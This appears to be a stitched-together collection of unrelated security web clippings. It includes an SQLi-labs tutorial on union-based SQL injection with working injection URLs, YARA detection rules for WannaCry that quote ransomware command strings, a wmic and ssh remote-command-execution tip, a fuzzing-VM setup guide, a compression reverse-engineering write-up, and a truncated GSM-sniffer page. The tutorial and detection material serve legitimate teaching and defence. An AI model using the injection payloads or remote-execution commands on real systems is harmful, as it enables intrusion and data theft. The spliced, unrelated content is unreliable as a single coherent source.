Less-4 – SELECT \* from table\_name WHERE id=\(“our input”\)

From now I’ll take Less-1 as base lesson to explain further

With our input as 1’ complete backend query will be

SELECT \* from table\_name WHERE id=’1’’ LIMIT 0,1

Which is syntactically incorrect and I explained above how to make is
syntactically correct

By giving input 1’–+ \(1 quote hyphen hyphen plus\)

Or By giving input 1’–%20 \(%20 URL encoding for space\)

Or By giving input 1’%23 \(%23 URL encoding for \#\)

http://localhost/sqlilabs/Less-1/?id=1′ –%20

<img src='img/1359_12.png' width='804' height='272' />

http://localhost/sqlilabs/Less-1/?id=1′ %23

<img src='img/13.png' width='804' height='308' />

http://localhost/sqlilabs/Less-1/?id=1′ –+

<img src='img/14.png' width='804' height='290' />

Now we are able to break the query and are able to fix it syntactically.

What Next?

Now we will try to add query between quote and –+ to get information from the
database

<img src='img/15.jpg' width='804' height='140' />

We’ll use another SELECT query here to get information from database.

Q – Will two SELECT queries work together?

ANS – NO, we have to use UNION operator to make it work.

The UNION operator is used to combine the result-set of two or more SELECT
statements.

But for UNION operator there is one precondition that Number of columns on
both side of UNION operator should be same.

Since we don’t know the number of columns in the SELECT query at the backend
so first we have to find the number of columns used in the SELECT query.

For this we will use ORDER BY clause.

ORDER BY clause will arrange the result set in ascending or descending order
of the columns used in the query.

ORDER BY country à will arrange the result set in asc order of elements of
column \(country\)

Now the problem is we even don’t know the names of the column…

Solution to this problem is in ORDER BY clause…

We’ll use ORDER BY 1, ORDER BY 2 etc. because ORDER BY 1 will arrange the
result set in ascending order of the column present at first place in the
query. \(Please note, ORDER BY 1 will not arrange the result set according to
first column of the table, it will arrange the result set in ascending order
of the column present at first place in the query\).

Let’s try now

http://localhost/sqlilabs/Less-1/?id=-1′ order by 1 –+ No Error

<img src='img/1383_9.png' width='804' height='296' />

http://localhost/sqlilabs/Less-1/?id=-1′ order by 2 –+ No Error

<img src='img/17.png' width='804' height='289' />

http://localhost/sqlilabs/Less-1/?id=-1′ order by 4 –+ Error

This shows that there is no 4th column in the query. So now we know there are
3 columns in the query at the backend.

<img src='img/18.png' width='804' height='251' />

So now we can use UNION operator with another SELECT query.

http://localhost/sqlilabs/Less-1/?id=1′ union select 1,2,3 –+

<img src='img/19.png' width='804' height='313' />

See there is no error but we are getting result set of first query, to get the
result of second select query on the screen we have to make the result set of
first query as EMPTY. This we can achieve by providing the id that does not
exist. We can provide negative id or id >14 because in the starting of article
we figured out that there are 14 ids in the database.

http://localhost/sqlilabs/Less-1/?id=-1′ union select 1,2,3 –+

Or

http://localhost/sqlilabs/Less-1/?id=15′ union select 1,2,3 –+

<img src='img/20.png' width='804' height='313' />

This shows we are getting values of column 2 and column 3 as output. So we’ll
use these two columns to extract information about database and from database.

http://localhost/sqlilabs/Less-1/?id=-1′ union select 1,2,version\(\) –+

This will give the version of database used at the backend

<img src='img/21.png' width='804' height='300' />

http://localhost/sqlilabs/Less-1/?id=-1′ union select
1,database\(\),version\(\) –+

This will give the database we are using and current version of database used
at the backend

<img src='img/22.png' width='804' height='314' />

Since we are using UNION operator to perform SQL INJECTION, this type of
injection is called UNION BASED SQL INJECTION \( a type of ERROR BASED SQL
INJECTION\)

Since we are using UNION operator to perform SQL INJECTION, this type of
injection is called UNION BASED SQL INJECTION \( a type of ERROR BASED SQL
INJECTION\)

******Union Based Sql Injection**

**Variable/function** | **Output**  
---|---  
**user\(\)** | **Current User**  
**database\(\)** | **Current Database**  
**version\(\)** | **Database Version**  
**schema\(\)** | **Current Database**  
**UUID\(\)** | **System UUID Key**  
**current\_user\(\)** | **Current User**  
**system\_user\(\)** | **Current System User**  
**session\_user\(\)** | **Session User**  
**@@hostname** | **Current Hostname**  
**@@tmpdir** | **Temporary Directory**  
**@@datadir** | **Data Directory**  
**@@version** | **Version of Database**  
**@@basedir** | **Base Directory**  
**@@GLOBAL.have\_symlink** | **Check if symlink is Enabled or Disabled**  
**@@GLOBAL.have\_ssl** | **Check if it SSL is available**  
I think this is enough for this article, we’ll continue from here in my next
article where we’ll learn how to dump database using queries the same way we
used in this article. In my next article I’ll be using terms like
information\_schema, table\_schema, limit, outfile, it will be easier for you
to understand if you know there terms, so read about them and practice what we
have learned in this article.

Author – Rinkish Khera is a Web Application security consultant who loves
competitive coding, hacking and learning new things about technology. Contact
**Here**

<img src='img/pixel.png' width='1' height='1' alt='Related Posts Plugin for
WordPress, Blogger...' />

### _Related_

<img src='img/1361_1.png' width='350' height='198' alt='Exploiting Sql
Injection with Nmap and Sqlmap' />

#### Exploiting Sql Injection with Nmap and Sqlmap

January 17, 2017

In "Database Hacking"

<img src='img/havij.jpg' width='350' height='174' alt='Best of SQL Injection
Tools' />

#### Best of SQL Injection Tools

February 9, 2012

In "Best of Hacking"

<img src='img/1371_1.png' width='350' height='149' alt='Stored XSS
Exploitation in DVWA (Beginner Guide)' />

#### Stored XSS Exploitation in DVWA \(Beginner Guide\)

March 4, 2017

In "Kali Linux"

  

# catchconv / Getting Started - Premade VM

**Created:**| _8/6/2009 7:54:16 PM_  
---|---  
**Updated:**| _8/6/2009 7:54:49 PM_  
**Author:**| __  
**Tags:**| _setup Live Distri Fuzzer vulnerability_  
  

# Getting Started - Premade VM

Page historylast edited by sushant.shankar@... 1 yr ago

Instructions for downloading Metafuzz, installing, and getting started through
the pre-made VM \(catchconv, libraries, should already set up for you\)

Send questions to Sushant Shankar \(sushant@berkeley.edu\).

0\. Set up your environment.

For a virtual machine approach on Windows, try VMWare Player:

http://www.vmware.com/products/player/

1\. Download the pre-made VM.

Download the zip file at http://www.metafuzz.com/Metafuzz\_VM.zip and unzip
the file to a folder.

Go into the folder you unzipped the zip file to, and double-click on the
DebianEtch.vmw file. This should open up the pre-loaded VM onto your VM
software. If you get the following screen \(or some variation of it - this is
on VMWare Fusion, for Mac's\), click 'I moved it'. The VM should then boot up.

<img src='img/Temp2_10122.png' />

If you are asked to login, the username and password are 'user' and 'user'.

2\. Pick a seed file and start running\!

Open up a Terminal \(Application menu on the top --> Accessories -->
Terminal\).

Run 'singlemachine <file>' . Try an MP3 file to start \(a sample one can be
found under /home/user/valgrind-catchconv/seedfiles\). Here is a screenshot of
running the sample file:

<img src='img/Temp2_10120.png' />

The script will automatically create a directory for the test run, then start
Catchconv. Now new bugs found will be uploaded to

http://www.metafuzz.com/ , along with statistics on the progress of the test
run.

You can also run Catchconv or zzuf directly by using the following commands:

docatchconv <seed file> <command>

dozzuf <seed file> <command>

For example

dozzuf test.mp3 mplayer test.mp3

will run zzuf with the seed "test.mp3" on the command "mplayer test.mp3".

3\. Looking at the test results

Statistics and failing test cases will show up on http://www.metafuzz.com.
Here is a screenshot of the first few errors that Catchconv picked up on the
test run I showed you above:

<img src='img/Temp2_10121.png' />

Here is what each of the columns mean:

  * _Run UUID_ and  _Seq. No_ \- Identifier of the test run \(to see which errors came from the same run\)
  * _Stack Hash_ \- Unique identifier of the error and the test run
  *  _Kind_ \- This tell you the type of error that was generated \(InvalidRead, InvalidWrite, SyscallParam, etc.\)
  * _Program_ \- This tell you the program you were testing on \(mplayer, mpg321, gstreamer, etc.\)
  * _FuzzType_ \- This tell you the tool you used \(catchconv, valgrind, etc.\)
  * _Test Case_ \- You can download the test case that you used to generate this error
  *  _Submitter_ \- This is to denote who has done these runs. The default email is premade@metafuzz.com. If you want to change the email
    * Go to /home/user/vgcc/bin/cc\_envars and change the MF\_EMAIL line.
    * Edit the .login and .bashrc in the pre-made VM to include the line "source /home/user/vgcc/bin/cc\_envars"

# Neo23x0/signature-base

**Created:**| _5/13/2017 4:49:48 PM_  
---|---  
**Updated:**| _5/13/2017 4:49:48 PM_  
**Author:**| __  
**Tags:**| _Detection Malware-analysis Defense_  
  

  

1 |   
---|---  
2 | /\*  
3 |  Yara Rule Set  
4 |  Author: Florian Roth  
5 |  Date: 2017-05-12  
6 |  Identifier: WannaCry  
7 |  Reference: https://goo.gl/HG2j5T  
8 | \*/  
9 |   
10 | /\* Rule Set ----------------------------------------------------------------- \*/  
11 |   
12 | rule WannaCry\_Ransomware \{  
13 |  meta:  
14 |  description = "Detects WannaCry Ransomware"  
15 |  author = "Florian Roth"  
16 |  reference = "https://goo.gl/HG2j5T"  
17 |  date = "2017-05-12"  
18 |  hash1 = "ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa"  
19 |  strings:  
20 |  $x1 = "icacls . /grant Everyone:F /T /C /Q" fullword ascii  
21 |  $x2 = "taskdl.exe" fullword ascii  
22 |  $x3 = "taskse.exe" fullword ascii  
23 |  $x4 = "tasksche.exe" fullword ascii  
24 |  $x5 = "Global\\\MsWinZonesCacheCounterMutexA" fullword ascii  
25 |  $x6 = "WNcry@2ol7" fullword ascii  
26 |   
27 |  $s1 = "cmd.exe /c \"%s\"" fullword ascii  
28 |  $s2 = "<\!-- Windows 10 -->" fullword ascii  
29 |  $s3 = "msg/m\_portuguese.wnry" fullword ascii  
30 |  $s4 = "taskse.exed\*" fullword ascii  
31 |  condition:  
32 |  uint16\(0\) == 0x5a4d and filesize < 10000KB and \( 1 of \($x\*\) and 1 of \($s\*\) \)  
33 | \}  
34 |   
35 | rule WannCry\_m\_vbs \{  
36 |  meta:  
37 |  description = "Detects WannaCry Ransomware VBS"  
38 |  author = "Florian Roth"  
39 |  reference = "https://goo.gl/HG2j5T"  
40 |  date = "2017-05-12"  
41 |  hash1 = "51432d3196d9b78bdc9867a77d601caffd4adaa66dcac944a5ba0b3112bbea3b"  
42 |  strings:  
43 |  $x1 = ".TargetPath = \"C:\\\@" ascii  
44 |  $x2 = ".CreateShortcut\(\"C:\\\@" ascii  
45 |  $s3 = " = WScript.CreateObject\(\"WScript.Shell\"\)" ascii  
46 |  condition:  
47 |  \( uint16\(0\) == 0x4553 and filesize < 1KB and all of them \)  
48 | \}  
49 |   
50 | rule WannCry\_BAT \{  
51 |  meta:  
52 |  description = "Detects WannaCry Ransomware BATCH File"  
53 |  author = "Florian Roth"  
54 |  reference = "https://goo.gl/HG2j5T"  
55 |  date = "2017-05-12"  
56 |  hash1 = "f01b7f52e3cb64f01ddc248eb6ae871775ef7cb4297eba5d230d0345af9a5077"  
57 |  strings:  
58 |  $s1 = "@.exe\">> m.vbs" ascii  
59 |  $s2 = "cscript.exe //nologo m.vbs" fullword ascii  
60 |  $s3 = "echo SET ow = WScript.CreateObject\(\"WScript.Shell\"\)> " ascii  
61 |  $s4 = "echo om.Save>> m.vbs" fullword ascii  
62 |  condition:  
63 |  \( uint16\(0\) == 0x6540 and filesize < 1KB and 1 of them \)  
64 | \}  
65 |   
66 | rule WannaCry\_RansomNote \{  
67 |  meta:  
68 |  description = "Detects WannaCry Ransomware Note"  
69 |  author = "Florian Roth"  
70 |  reference = "https://goo.gl/HG2j5T"  
71 |  date = "2017-05-12"  
72 |  hash1 = "4a25d98c121bb3bd5b54e0b6a5348f7b09966bffeec30776e5a731813f05d49e"  
73 |  strings:  
74 |  $s1 = "A: Don't worry about decryption." fullword ascii  
75 |  $s2 = "Q: What's wrong with my files?" fullword ascii  
76 |  condition:  
77 |  \( uint16\(0\) == 0x3a51 and filesize < 2KB and all of them \)  
78 | \}  
  

# Command Line Kung Fu: Episode \#31: Remote Command Execution

**Created:**| _5/16/2009 10:26:55 AM_  
---|---  
**Updated:**| _5/16/2009 10:27:00 AM_  
**Author:**| __  
**Tags:**| _commandline-kungfu_  
  

### Episode \#31: Remote Command Execution

Ed starts out:  
  
One of the most frequent questions I get regarding the Windows command line
involves how to run commands on a remote Windows machine and get access to the
standard output of the command. Sure, Microsoft SysInternals psexec rocks, but
it's not built in. On Linux and Unix, ssh offers some great possibilities
here, but neither ssh nor sshd are built-in to Windows \(and what's with that?
I mean... we need that. Call Microsoft right now and demand that they build in
an ssh and sshd into Windows. Installing a third-party version is certainly
doable, but we need it built in... starting about 5 years ago, thank you very
much.\)  
  
Anyway, while there are many options for running a command on a remote Windows
machine using built in tools \(such as using at, schtasks, or sc\), one of my
faves is good old WMIC:  
  

[code]

    C:\> wmic /node:[targetIPaddr] /user:[admin] process call create "cmd.exe /c [command]"
[/code]

  
  
That'll run \[command\] on the target, after prompting you for the given
admin's password.  
  
You won't see the standard output, though.  
  
To get that, change it to:  
  
  

[code]

    C:\> wmic /node:[targetIPaddr] /user:[admin] process call create "cmd.exe /c [command] >>   
    \\[YourIPaddr]\[YourShare]\results.txt"
    
[/code]

  
  
Make sure you have \[YourShare\] open on your box so the target machine and
\[admin\] user can write to your share. The results.txt file will have your
standard output of the command once it is finished.  
  
Oh, and to execute a command en mass on a bunch of targets, you could use
/node:@\[filename.txt\], in which the filename has one line per machine name
or IP address on which you want to run the given command.  
  
Not nearly as elegant as what I'm sure my sparring partners will come up with
for Linux, but it is workable.  
  
Hal Replies:  
  
Thanks for throwing us a bone here, Ed. With SSH built into every modern Unix-
like operating system, remote commands are straightforward:  
  

[code]

    $ **ssh remotehost df -h**
    
[/code]

  
Sometimes, however, you need to SSH as a different user-- maybe you're root on
the local machine, but the remote system doesn't allow you to SSH directly as
root, so you have to use your normal user account. There's always the "-l"
option:  
  

[code]

    $ **ssh -l pomeranz remotehost df -h**
    
[/code]

  
But what if you want to scp files as an alternate user? The scp command
doesn't have a command line option like "-l" to specify an alternate user.  
  
One little-known trick is that both ssh and scp support the old "user@host"
syntax that's been around since the rlogin days. So these commands are
equivalent:  
  

[code]

    $ **ssh -l pomeranz remotehost df -h**  
     $ **ssh pomeranz@remotehost df -h**
    
[/code]

  
Personally, I never use "-l"-- I find "user@host" more natural to type and it
works consistently across a large number of SSH-based utilities, including
rsync.  
  
Unlike wmic, SSH does not have built-in support for running the same command
on several targets. The "Unix design religion" is that you're supposed to do
this with other shell primatives:  
  

[code]

    $ **for h in $( < targets); do echo ===== $h; ssh $h df -h; done**
    
[/code]

  
By the way, note the "$\(< targets\)" syntax in the above loop, which is just
a convenient alternate form of "\`cat targets\`".  
  
Unfortunately, the above loop is kind of slow if you have a lot of targets,
because the commands are run in serial fashion. You could add some shell fu to
background each ssh command so that they run in parallel:  
  

[code]

    $ **for h in $( < targets); do (echo ===== $h; ssh $h df -h) & done**
    
[/code]

  
Unfortunately, this causes the output to be all garbled because different
commands return at different speeds.  
  
Frankly, you're better off using any of the many available Open Source
utilities for parallelizing SSH commands. Some examples include sshmux,
clusterssh, and fanout \(which was written by our friend and fellow SANS
Instructor, Bill Stearns\). Please bear in mind, however, that while remote
SSH commands allow you to easily shoot yourself in the foot, these
parallelized SSH tools allow you to simultaneously shoot yourself in both
feet, both hands, the head, and every major internal organ all at the same
time. Take care when doing these sorts of things as root.

# Static analysis of an unknown compression format - LSE Blog

**Created:**| _4/8/2012 8:47:48 AM_  
---|---  
**Updated:**| _4/8/2012 8:47:48 AM_  
**Author:**| __  
**Tags:**| _analysis static File-format_  
  

  * # Static analysis of an unknown compression format
Written by Pierre Bourdon  
April 07, 2012 at 17:17

I really enjoy reverse engineering stuff. I also really like playing video
games. Sometimes, I get bored and start wondering how the video game I'm
playing works internally. Last year, this led me to analyze _Tales of
Symphonia 2_ , a Wii RPG. This game uses a custom virtual machine with some
really interesting features \(including cooperative multithreading\) in order
to describe cutscenes, maps, etc. I started to be very interested in how this
virtual machine worked, and wrote a \(mostly\) complete implementation of this
virtual machine in C++.

However, I recently discovered that some other games are also using this same
virtual machine for their own scripts. I was quite interested by that fact and
started analyzing scripts for these games and trying to find all the
improvements between versions of the virtual machine. Three days ago, I
started working on _Tales of Vesperia_ \(PS3\) scripts, which seem to be
compiled in the same format as I analyzed before. Unfortunately, every single
file in the scripts directory seemed to be compressed using an unknown
compression format, using the magic number "TLZC".

Normally at this point I would have analyzed the uncompress function
dynamically using an emulator or an on-target debugger. However, in this case,
there is no working PS3 emulator able to help me in my task, and I also don't
possess an homebrew-enabled PS3 to try to dump the game memory. Sadface. I
tend to prefer static analysis to dynamic analysis, but I also didn't know a
lot about compression formats at this point. Still, I started working on
reversing that format statically.

I started by decrypting the main game executable \(thanks, f0f\!\) to check if
I could find the uncompress function in the binary. Unluckily, cross-
references did not help me find anything, and immediate values search \(in
order to find the FOURCC\) did not lead me to anything. I was stuck with 500
compressed files and a binary where I was not able to find the interesting
code.

Oh well. Let's start by analyzing the strings in this binary:

[code]      1

     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
[/code]

|

[code]    $ strings eboot.elf | grep -i compr
    Warning: Compressed data at address 0x%08X is *bigger* than master data (%d > %d).  Pointless?
    Warning: Compressed data at address 0x%08X is *bigger* than master data (%d > %d).  Pointless?
    The file doesn't contain any compressed frames yet.
    EDGE ZLIB ERROR: DecompressInflateQueueElement returned (%d)
    unknown compression method
    EDGE ZLIB ERROR: Stream decompressed to size different from expected (%d != %d)
    EDGE LZMA ERROR: Size of compressed data is %d.  Maximum is %d.
    EDGE LZMA ERROR: Size of uncompressed data is %d.  Maximum is %d.
    EDGE LZMA ERROR: DecompressInflateQueueElement returned (%d)
    *edgeLzmaInflateRawData error: compressed bytes processed (0x%x) is not value expected (0x%x)
    *edgeLzmaInflateRawData error: uncompressed bytes processed (0x%x) is not value expected (0x%x)
    
[/code]  
---|---  
We have references to an LZMA decompression library as well as zlib. However,
if we compare a TLZC header to some zlib'd data and an LZMA header, they do
not really look alike:

[code]      1

     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    17
[/code]

|

[code]    TLZC:

    
    0000000: 544c 5a43 0104 0000 ccf0 0f00 80d4 8300  TLZC............
    0000010: 0000 0000 0000 0000 5d00 0001 0052 1679  ........]....R.y
    0000020: 0e02 165c 164a 11cf 0952 0052 0052 0052  ...\.J...R.R.R.R
    
    ZLIB:
    
    0000000: 789c d4bd 0f7c 54d5 993f 7cee dc49 3281  x....|T..?|..I2.
    0000010: 58c6 766c 8306 3211 dc4d 809a d8d2 76c2  X.vl..2..M....v.
    0000020: 4032 51ec 3b48 94e9 fb0b 6bb4 b424 12bb  @2Q.;H....k..$..
    
    LZMA:
    
    0000000: 5d00 0080 00ff ffff ffff ffff ff00 3f91  ].............?.
    0000010: 4584 6844 5462 d923 7439 e60e 24f0 887d  E.hDTb.#t9..$..}
    0000020: 86ff f57e 8426 5a49 aabf d038 d3a0 232a  ...~.&ZI...8..#*
    
[/code]  
---|---  
Looking further into the TLZC header though, there is something that looks
very interesting: the `5D 00 00 01 00` string is almost like the `5D 00 00 80
00` string from the LZMA header. Looking at some LZMA format specification I
was able to figure out that `5D` is a very classic LZMA parameters value. It
is normally followed by the dictionary size \(in little endian\), which by
default is `0x00800000` with my LZMA encoder but seems to be `0x00010000` in
the TLZC file. The specification tells us that this value should be between
`0x00010000` and `0x02000000`, so the TLZC value is in range and could be
valid.

My first try was obviously to try to reconstruct a valid LZMA header \(with a
very big "uncompressed size" header field\) and put it in front of the TLZC
data \(header removed\):

[code]     1

[/code]

|

[code]    lzma: test.lzma: Compressed data is corrupt

    
[/code]  
---|---  
Sadface. Would have been too easy I guess.

Let's take a closer look at the TLZC header:

    * Bytes `0 - 4`: FOURCC `"TLZC"`
    * Bytes `4 - 8`: unknown \(maybe some kind of version?\)
    * Bytes `8 - 12`: matches the size of the compressed file
    * Bytes `12 - 16`: unknown but might be the size of the uncompressed file: for all of the 500 files it was in an acceptable range.
    * Bytes `16 - 24`: unknown \(all zero\)
    * Bytes `24 - 29`: probably LZMA params
Stuck again with nothing really interesting. I started looking at random parts
of the file with an hexadecimal editor in order to notice patterns and compare
with LZMA. At the start of the file, just after the header, the data seem to
have some kind of regular structure that a normal LZMA file does not have:

[code]     1

    2
    3
    4
    5
    6
    7
[/code]

|

[code]    0000040: 1719 131f 1f92 2480 0fe6 1b05 150b 13fd  ......$.........

    0000050: 2446 19d0 1733 17b4 1bf8 1f75 2052 0b5c  $F...3.....u R.\
    0000060: 1123 11a0 0fe2 149b 1507 0d5e 1a5f 1347  .#.........^._.G
    0000070: 18ca 213f 0e1e 1260 1760 158c 217d 12ee  ..!?...`.`..!}..
    0000080: 122b 17f7 124f 1bed 21d1 095b 13e5 1457  .+...O..!..[...W
    0000090: 1644 23ca 18f6 0c9f 1aa1 1588 1950 23a9  .D#..........P#.
    00000a0: 06c1 160b 137c 172c 246a 1411 0e05 1988  .....|.,$j......
    
[/code]  
---|---  
In this range there are a lot of bytes in `[0x00-0x20]` each followed by a
byte in `[0x80-0xFF]`. This is quite different from the start of a normal LZMA
file, but at that point that doesn't help us a lot.

This made me think of entropy. If I was able to measure the frequency of each
byte value in the file maybe I could compare it to some other compression
format or notice something. I created a simple Python file which counts the
occurrences of each byte value. For single byte values, this did not give any
interesting results: max count is 4200 and min count is 3900, no notable
variation, etc. However, looking at the byte digrams showed me something very
interesting: the `00 7F` digram occurred 8 times more than most digrams, and
the `00 00` digram twice as much. I followed this lead and looked at what
bytes where next after `00 7F`:

    * `00 7F 9F` occurs 4x more than all other digrams
    * `00 7F 9F 0C` is the only substring that starts with `00 7F 9F`
    * Next byte is almost always `C6` but in very few cases `A6` also occurs
    * After that, the next byte is between `0x78` and `0x7C`, most of the time either `7B` or `7C`
    * No statistical evidence of a byte occurring more than the others after this.
In a 8MB file, the string `00 7F 9F 0C C6 7B` occurred exactly 25 times.
That's a lot, but short strings like this do not really give us any big
information. I started to look at the `00 00` digram after that and got
something a lot more interesting: a very long repeating sequence. In the file
I was analyzing, this `0x52` bytes sequence appeared 3 times in a row:

[code]     1

    2
    3
    4
    5
    6
[/code]

|

[code]    0000000: 0000 7fb6 1306 1c1f 1703 fe0f f577 302c  .............w0,

    0000010: d378 4b09 691f 7d7a bc8e 340c f137 72bc  .xK.i.}z..4..7r.
    0000020: 90a2 4ee7 1102 e249 c551 5db6 1656 63f2  ..N....I.Q]..Vc.
    0000030: edea b3a1 9f6d d986 34b3 f14a f52b 43be  .....m..4..J.+C.
    0000040: 1c50 94a5 747d 40cf 85ee db27 f30d c6f7  .P..t}@....'....
    0000050: 6aa1                                     j.
    
[/code]  
---|---  
I tried to discern some kind of patterns in these data, tried to grep some of
the files on my system to find parts of this sequence, no luck. Stuck again.

After a long night, I came back to my notes and remembered the start of the
file where there were strange byte patterns. If I started at offset 59 and
took 2 bytes little endian integers from there, each of these integers was
less than `0x2000`, and often in the same range. But more interesting than
that fact: there was three consecutive integers equal to `0x0052`, the size of
the three times repeating block I noticed earlier.

That's when I got the idea that ultimately solved this puzzle: TLZC files are
not one big compressed block, but several blocks, each compressed
individually. The size of these compressed blocks is contained in the header.
That's actually a very common structure used to allow semi-random access in a
compressed file: you don't need to uncompress the whole file but only the part
of the file which contains the data you want. It seemed to make a lot of
sense, so I went with it and tried to find evidence that failed my hypothesis.

If this file is indeed compressed by block, there must be somewhere in the
header either the number of blocks and their size, either the full size of the
uncompressed file and the blocks size. I went back to the TLZC header, and
more precisely to the field that I thought \(without a lot of evidence\) to be
the uncompressed file size. To confirm that it was it, I tried computing the
compression ratio of all of the files using the compressed size and the
uncompressed size. It gave me a plot like this:

<img src='img/Temp2_7708.png' alt='Ratio stats' />

That confirms my theory: there is a bit of noise and some files compressed a
bit more than the others, but this is still almost constant. We now have the
size of each uncompressed file, we're just missing the size of an uncompressed
block.

If each block is independently compressed as I assumed, taking the `0x52`
sized block from above and uncompressing it should get us some results. Fail:
after adding an LZMA header, trying to uncompress the file still fails at the
first bytes of the block. Sadface again. But, thinking about it, we may know
that the block size is `0x52` but we never confirmed where exactly it
started\! I generated all possible rotations of this block, and tried
uncompressing each one:

[code]     1

    2
    3
    4
    5
    6
[/code]

|

[code]    lzma: rot0.bin.test.lzma: Compressed data is corrupt

    lzma: rot1.bin.test.lzma: Unexpected end of input
    lzma: rot2.bin.test.lzma: Compressed data is corrupt
    lzma: rot3.bin.test.lzma: Compressed data is corrupt
    lzma: rot4.bin.test.lzma: Compressed data is corrupt
    lzma: rot5.bin.test.lzma: Compressed data is corrupt
    
[/code]  
---|---  
F. Yeah. We finally uncompressed something which seems valid, but now LZMA
can't find the input end marker and deletes the output file. Using `strace`, I
can see that the output was exactly `0x10000` bytes before it was unlinked:

[code]     1

    2
    3
    4
    5
    6
    7
[/code]

|

[code]    write(2, "lzma: ", 6lzma: )                   = 6

    write(2, "rot1.bin.test.lzma: Unexpected e"..., 43) = 43
    write(2, "\n", 1
    )                       = 1
    close(4)                                = 0
    lstat("rot1.bin.test", {st_mode=S_IFREG|0600, st_size=65536, ...}) = 0
    unlink("rot1.bin.test")                 = 0
    
[/code]  
---|---  
Let's try putting the size in the LZMA header instead of letting the decoder
figure out the size \(there is an optional "size" field in the LZMA header\).
As expected, it works just fine and the uncompressed file is `0x10000` bytes
long. The data in it is obviously a bit repetitive \(compressed to 52
bytes...\) but seems coherent \(looks like part of an ARGB image to me\):

[code]     1

    2
    3
    4
    5
    6
[/code]

|

[code]    0000000: ffd8 b861 ffd8 b861 ffd8 b861 ffd8 b861  ...a...a...a...a

    0000010: ffd8 b861 ffd8 b861 ffd8 b861 ffd8 b861  ...a...a...a...a
    0000020: ffd8 b861 ffd8 b861 ffd8 b861 ffd8 b861  ...a...a...a...a
    0000030: ffd8 b861 ffd8 b861 ffd8 b861 ffd8 b861  ...a...a...a...a
    0000040: ffd8 b861 ffd8 b861 ffd8 b861 ffd8 b861  ...a...a...a...a
    0000050: ffd8 b861 ffd8 b861 ffd8 b861 ffd8 b861  ...a...a...a...a
    
[/code]  
---|---  
At that point I could almost uncompress the whole file, but we don't know
where the blocks data start in the file because we don't know how much blocks
there are. To test a bit more the decompressing process, I tried taking the
block just before the first `0x52` block: I can see in the block size table at
the start of the file that its size is `0x9CF`, so it must start at offset
`0x6415` in the file \(because the `0x52` block was at offset `0x6D67`\).
Extracting it works too, and its size is also 0x10000. It seems to be part of
the same ARGB image \(being just before, it was kind of obvious\), but less
repetitive this time:

[code]     1

    2
    3
    4
    5
    6
[/code]

|

[code]    0000000: fffe da9e fffe de9e fffa da9e ff86 7457  ..............tW

    0000010: ff66 3232 ffc6 5252 ffc6 5252 ffc3 5151  .f22..RR..RR..QQ
    0000020: ffc3 5151 ffc3 5151 ffc3 5151 ffc3 5151  ..QQ..QQ..QQ..QQ
    0000030: ffc3 5151 ffc3 5151 ffc3 5151 ffc3 5151  ..QQ..QQ..QQ..QQ
    0000040: ffc3 5151 ffc3 5151 ffc3 5151 ffc3 5151  ..QQ..QQ..QQ..QQ
    0000050: ffc3 5151 ffc3 5151 ffc3 5151 ffc3 5151  ..QQ..QQ..QQ..QQ
    
[/code]  
---|---  
From there I uncompressed a few other blocks around the `0x52` block, and each
of these blocks was `0x10000` bytes long. I assumed that it was some kind of
constant size. From there, we can easily get the number of blocks in the file:
just take the uncompressed file size, divide it by the block size we just
found \(rounding correctly\!\) and here is your number of blocks\!

For the first file, uncompressed size is `8639616`, which means 132 blocks are
required. This means that the first block data is at offset:

[code]     1

[/code]

|

[code]    header_size (1D) + number_of_blocks * sizeof (uint16_t)

    
[/code]  
---|---  
Uncompressing that first block gives us something interesting that validates
everything we've done so far:

[code]     1

    2
    3
    4
    5
    6
[/code]

|

[code]    0000000: 4650 5334 0000 0006 0000 001c 0000 0080  FPS4............

    0000010: 0010 0047 0000 0000 0000 0000 0000 0080  ...G............
    0000020: 0000 f280 0000 f204 0000 0000 0000 f300  ................
    0000030: 0000 0e00 0000 0d90 0000 0000 0001 0100  ................
    0000040: 007c 6c00 007c 6c00 0000 0000 007d 6d00  .|l..|l......}m.
    0000050: 0000 0600 0000 059a 0000 0000 007d 7300  .............}s.
    
[/code]  
---|---  
The `FPS4` FOURCC is an archiving format commonly used in _Tales of_ games.
That means we actually uncompressed valid stuff and not only garbage\!

From there, it's easy to write a full decompression software. Here is mine,
written in Python using PyLZMA:

[code]      1

     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
[/code]

|

[code]    import mmap

    import os
    import pylzma
    import struct
    import sys
    
    UNCOMP_BLOCK_SIZE = 0x10000
    
    def decompress_block(params, block, out, size):
        block = params + block
        out.write(pylzma.decompress(block, size, maxlength=size))
    
    def decompress_tlzc(buf, out):
        assert(buf[0:4] == "TLZC")
        comp_size, uncomp_size = struct.unpack("<II", buf[8:16])
        num_blocks = (uncomp_size + 0xFFFF) / UNCOMP_BLOCK_SIZE
    
        lzma_params = buf[24:29]
    
        block_header_off = 29
        data_off = block_header_off + 2 * num_blocks
        remaining = uncomp_size
        for i in xrange(num_blocks):
            off = block_header_off + 2 * i
            comp_block_size = struct.unpack("<H", buf[off:off+2])[0]
    
            block = buf[data_off:data_off+comp_block_size]
            data_off += comp_block_size
    
            if remaining < UNCOMP_BLOCK_SIZE:
                decompress_block(lzma_params, block, out, remaining)
            else:
                decompress_block(lzma_params, block, out, UNCOMP_BLOCK_SIZE)
            remaining -= UNCOMP_BLOCK_SIZE
    
    if __name__ == "__main__":
        fd = os.open(sys.argv[1], os.O_RDONLY)
        buf = mmap.mmap(fd, 0, prot=mmap.PROT_READ)
        decompress_tlzc(buf, open(sys.argv[2], "w"))
        os.close(fd)
    
[/code]  
---|---  
Three days of work for 40 lines of Python. So worth it\!

This was a very interesting experience for someone like me who did not know a
lot about compression formats: I had to look a lot into LZMA internals, read
tons of stuff about how it works to try to find some patterns in the
compressed file, and found out that the most simple methods \(trying to find
repeating substrings\) give actually a lot of interesting results to work
with. Still, I hope next time I work on such compression algorithm I'll have
some code to work with or, even better, an emulator\!

# airprobe

**Created:**| _7/22/2010 3:55:02 PM_  
---|---  
**Updated:**| _7/22/2010 3:55:32 PM_  
**Author:**| __  
**Tags:**| _research signal work USRP_  
  

# Welcome to AirProbe

AirProbe is the new home of the former GSM-Sniffer project. The goal is to
